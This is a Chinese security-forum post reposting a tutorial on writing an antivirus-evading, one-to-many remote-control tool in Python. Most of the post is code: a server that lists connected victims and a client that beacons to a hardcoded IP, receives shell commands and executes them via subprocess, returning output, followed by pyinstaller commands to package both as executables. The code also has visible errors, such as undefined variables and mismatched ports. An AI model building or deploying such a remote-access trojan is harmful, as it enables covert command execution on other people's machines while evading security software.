安全矩阵

 找回密码
 立即注册
搜索
查看: 2938|回复: 0

过杀软-帅小伙用Python写渗透利器(一对多远程控制)

[复制链接]

145

主题

192

帖子

817

积分

高级会员

Rank: 4

积分
817
发表于 2022-4-19 11:00:47 | 显示全部楼层 |阅读模式
过杀软-帅小伙用Python写渗透利器(一对多远程控制)          转载自:过杀软-帅小伙用Python写渗透利器(一对多远程控制)

自写远程控制 往往可以免杀过杀软
Python中的socket模块和threading模块合用可以实现多客户端连接 且服务端可以选择任意一个客户端实行远程控制。
(但在实际情况中python的多线程它是按照线程启动的顺序 一一执行的 那么我们如何才能实现服务端可以去选择客户端执行控制呢?)

实现原理


编写Socketsocket模块

服务端
  1. import socket
  2. socket.setdefaulttimeout(3) # 3秒超时s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) #创建socket对象第一个参数表示使用IPv4家族第二个参数表示使用TCP连接
  3. s.bind(('0.0.0.0',port))#0.0.0.0 表示任意一个网卡port是绑定的端口
  4. s.listen()#开启监听等待客户端连接
  5. c,addr = coon.accept() #accpet()返回客户端的socketc变量接收socketaddr变量接收客户端IP
复制代码


客户端
  1. <p>importsocket</p>

  2. <p>s= socket.socket(socket.AF_INET,socket.SOCK_STREAM)

  3. s.connect((serverip, port)) #连接服务端</p>

  4. <p>s.sendall(b’Hello’)#sendall() 向服务端发送二进制数据</p>

  5. <p>s.close()#关闭连接</p>
复制代码


创建多线程实现多客户端连接socket 模块本身是不能一对多的。
可以选择在服务端中用socketserver模块 来实现一对多(食用方法自行百度)

我选择用threading模块与socket模块结合使用
  1. import socket
  2. import threading
  3. socket.setdefaulttimeout(3)
  4. s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  5. s.bind(('0.0.0.0',port))
  6. s.listen()
  7. while1:
  8. c, addr = coon.accept()
  9. threading.Thread(target=func,args=(c,addr)).start()#创建一个线程调用自定义func函数传入 c,addr参数并启动
复制代码


了解了基本用法后我们将这些步骤封装成函数
服务端完整代码如下:
  1. import time
  2. import socket
  3. import threading

  4. timeout_num=0 #判断是否超时的变量
  5. maclist=[] #存放客户端mac地址的列表
  6. func_dict = { #存放服务端控制客户端 对应功能的字典
  7.     '1': shell
  8. }


  9. def get_maclist(c,addr): #保存客户端的mac地址
  10.     print('主机:',addr,"connected.") #打印客户端信息
  11.     datac = c.recv(1024) #接收客户端发来的数据
  12.     global maclist #全局变量
  13. maclist.append(datac.decode()) #将客户端mac地址保存在maclist列表中

  14. def choose_client(c,data): #指定客户端实行操作
  15.     global maclist
  16.     global func_dict
  17.     numif=0
  18.     def ifnum(): #判断输入的客户端编号是否正确 且向客户端发送mac地址
  19.         nonlocal numif
  20.         nonlocal data
  21.         try:
  22.             c.sendall(maclist[int(data)].encode()) #发送maclist列表中的选择编号(从0开始)对应的mac地址
  23.             numif=1
  24.             return
  25.         except:
  26.             print('The num is error.')
  27.             data=input("Please input client's num>>>")
  28.             numif =0
  29.     while numif==0: #判断mac地址是否发送成功
  30.         ifnum()
  31.     datac=c.recv(1024)#接收客户端发来的数据 1
  32.     num=int(datac.decode()) #将datac二进制转为十进制
  33.     if num ==1 : #判断是否为数据 1
  34.         while 1:
  35.             try:
  36.                 choose_funcnum=input('Please input func num(quit=q/Q)>>>')#输入功能编号
  37.                 if choose_funcnum=='q' or choose_funcnum=='Q':#如果输入q/Q则退出
  38.                     try:
  39.                         c.sendall(choose_funcnum.encode())#发送退出数据
  40.                     except:break#发送错误 则退出
  41.                     break
  42.                 c.sendall(choose_funcnum.encode())#发送功能编号
  43.                 func_dict[choose_funcnum](c=c,num=int(choose_funcnum))#从功能字典中执行服务端功能编号对应的功能函数
  44.             except:
  45.                 print('The num is error.')#提示输入有误
  46. c.close()

  47. def thread(coon,data): #创建线程函数
  48.     global timeout_num #使用全局变量
  49.     try:
  50.         c, addr = coon.accept()
  51.     except:return 0#如果连接失败 放回0
  52.     if data != 'None':
  53.         timeout_num=1
  54.         threading.Thread(target=choose_client,args=(c,data)).start()#调用选择客户端函数 第二次连接
  55.     else:
  56.         timeout_num=1 #连接成功将超时变量设为1
  57.         threading.Thread(target=get_maclist,args=(c,addr)).start() #调用存入客户端mac地址的自定义函数
  58.     return 1 #执行成功返回1

  59. def scoket_listen(port,data): #监听函数
  60.     socket.setdefaulttimeout(3)  # 3秒超时
  61.     s= socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  62.     s.bind(('0.0.0.0',port)) #0.0.0.0 表示任意一个网卡
  63.     s.listen()
  64.     while 1:
  65.         time_out_data=thread(s,data)#执行创建线程函数 获取返回值
  66.         if time_out_data ==0:#如果连接失败则 break循环
  67.             break
  68.     s.close()

  69. def time_out(): #判断是否连接超时
  70.     global timeout_num
  71.     if timeout_num == 0:
  72.         print('The connect timed out\n')#如果连接超时则提示 后继续运行主函数
  73.         main()


  74. def main(): #主函数
  75.     print('监听上线主机中...')
  76.     scoket_listen(99, data='None') #第一次与客户端连接
  77.     time_out() #判断是否超时

  78.     time.sleep(2)#睡眠2秒钟
  79.     global timeout_num
  80.     timeout_num=0
  81.     choose_client_num = input("Please input client's num>>>")
  82.     scoket_listen(98, data=choose_client_num) #第二次与客户端连接
  83.     time_out()

  84. main()
复制代码

客户端完整代码如下:
  1. import uuid

  2. serverip ='192.168.3.12' #服务端IP
  3. func_dict = {#功能字典
  4.     '1': shell
  5. }

  6. def get_mac(): #获取本机mac地址
  7.     mac = uuid.UUID(int=uuid.getnode()).hex[-12:]
  8.     mac = mac.replace(':','')
  9.     return mac

  10. def loop_send(data,port): #第一次与服务端连接
  11.     global serverip
  12.     while 1:
  13.         try:
  14.             s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  15.             s.connect((serverip, port))#连接服务端
  16.             s.sendall(data.encode())#发送mac地址
  17.             s.close()
  18.             break
  19.         except:
  20.             s.close()
  21.             continue

  22. def loop_get(mac,port): #第二次与服务端连接
  23.     global func_dict
  24.     global serverip
  25.     num=0#变量 表示循环10次
  26.     while num<10:
  27.         try:
  28.             s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  29.             s.connect((serverip, port))
  30.             mac_client=s.recv(1024).decode()#获取服务端发来的mac地址
  31.             if mac == mac_client:#判断是否与自己的mac地址一样
  32.                 s.sendall('1'.encode())#一样则向服务端发送 数据1
  33.                 while 1:
  34.                     try:
  35.                         func_dict_num=s.recv(1024).decode()#接收服务端发来的功能编号
  36.                     except ConnectionResetError as e: #如果错误则打印错误 并退出重新等待服务端连接
  37.                         print(e)
  38.                         break
  39.                     if func_dict_num == 'q' or func_dict_num =='Q': #接受服务端发来的数据 如果是q/Q 则退出 重新等待服务端连接
  40.                         break
  41.                     print('The func num is:',func_dict_num)
  42.                     try:
  43.                         func_dict[func_dict_num](s)#执行功能编号的对应的功能
  44.                         break
  45.                     except:
  46.                         print('The num is error.')
  47.             else:
  48.                 s.sendall('0'.encode())#如果服务端发来的mac地址与自己不一样则向服务端发送数据0 并退出 重新等待服务端连接
  49.             s.close()
  50.             break
  51.         except ConnectionRefusedError:
  52.             num +=1
  53.             print('countdown:',num,'seconds')
  54.             s.close()
  55.             continue

  56. while 1: #循环连接服务端
  57.     mac=get_mac()
  58.     loop_send(data=mac,port=9999)
  59.     print('continue')
  60.     loop_get(mac=mac,port=9998)
  61. print('\n')
复制代码

自定义功能菜单在上述服务端和客户端代码中 我们定义了一个 func_dict的字典用来存放 功能编号和功能函数

编写一个远程执行shell的功能在功能字典中添加功能编号和对应的功能函数(服务端和客户端都需要)
func_dict = {
  '1': shell
}

使用subprocess模块实现shell命令执行
服务端代码
  1. def shell(c,num):
  2.    while 1:
  3.        if num == 1:#判断功能编号是否为1
  4.            choose_funclist=input('cmd/shell>>>')#输入shell命令
  5.            if choose_funclist =='q' orchoose_funclist == 'Q':#如果输入q/Q则退回选择功能编号菜单
  6.                c.sendall(b'quit')#向服务端发送退出数据
  7.                return
  8.            if not choose_funclist: #如果输入的shell命令为空则继续
  9.                continue
  10.            c.sendall(choose_funclist.encode()) #发送shell命令
  11.            datac=c.recv(2048)#接收客户端发来的shell命令执行后的回显数据
  12.            if datac == '':#如果为空则换行
  13.                 print('\n')
  14.            print(datac.decode(encoding='gb2312'))#打印数据
复制代码
客户端代码
  1. import subprocess
  2. def shell(s):
  3.     while 1:
  4.         try:
  5.             command=s.recv(1024).decode() #接收shell命令 错误则退出
  6.         except ConnectionResetError as e:
  7.             print(e)
  8.             break
  9.         if command == 'quit':return #如果为退出数据 则退出
  10.         p=subprocess.Popen(command.rstrip(),shell=True,stdout=subprocess.PIPE,stderr=subprocess.STDOUT)#执行shell命令
  11.         data =p.communicate()[0].decode(encoding='gb2312')#获取命令执行后的回显
  12.         if data == '':#如果为空则发送 换行数据
  13.             s.sendall('\n'.encode(encoding='gb2312'))
  14.         else:
  15.             s.sendall(data.encode(encoding='gb2312')) #发送命令执行后的回显数据
复制代码



大家可以自行写添加自己想要的功能
将服务端和客户端打包为exe文件pyinstaller -FSocketServer.py --exclude-module _bootlocale
pyinstaller -FSocketClient.py --exclude-module _bootlocale



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-30 10:28 , Processed in 0.012651 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表